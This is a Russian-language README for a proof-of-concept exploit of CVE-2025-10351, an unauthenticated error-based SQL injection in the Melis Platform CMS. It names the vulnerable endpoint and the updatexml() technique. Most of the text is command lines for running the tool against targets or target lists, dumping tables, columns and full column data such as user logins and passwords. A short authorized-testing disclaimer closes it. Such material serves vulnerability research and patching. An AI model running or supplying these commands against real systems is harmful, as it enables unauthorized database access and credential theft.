CVE-2025-10351 POC - Эксплойт SQL-инъекции 💉

POC для CVE-2025-10351: Неаутентифицированная уязвимость SQL-инъекции, затрагивающая определенную конечную точку в платформе Melis Platform Framework.

🔗 Ссылки

• 📄 CVE-2025-10351 на MITRE
• 📄 Предупреждение о платформе Melis на INCIBE (Национальный институт кибербезопасности Испании)

🚀 Описание

Этот POC предназначен для эксплуатации уязвимости неаутентифицированной error-based SQL-инъекции в конечной точке:

melis/MelisCms/PageEdition/getTinyTemplates?idPage=

Он использует updatexml() в MySQL для извлечения:

• Имен таблиц
• Имен столбцов
• Данных из конкретных или всех столбцов

Также обнаруживает возможные векторы time-based SQLi для дальнейшей ручной эксплуатации.

🛠️ Требования

Установите зависимости с помощью:

pip3 install -r requirements.txt

🧪 Использование

Базовая проверка

python3 CVE-2025-10351-POC.py -u http://target.com -p 80

Из списка URL

python3 CVE-2025-10351-POC.py -l targets.txt

Извлечь все имена таблиц

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

Извлечь все имена столбцов из таблицы

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

Извлечь все данные из всех столбцов

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

Извлечь конкретные столбцы

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

Использование прокси с небезопасным режимом, cookies и режимом отладки

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

⚙️ Параметры

📤 Вывод

• Извлеченные таблицы сохранены в tables_extracted.txt
• Извлеченные данные сохранены в <table_name>_data.txt

⚠️ Отказ от ответственности

Этот документ предназначен только для авторизованного тестирования безопасности и устранения уязвимостей. Не используйте PoC или шаги воспроизведения против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения. Автор не несет ответственности за неправомерное использование.

Сделано с ❤️ Manuel Iván San Martín Castillo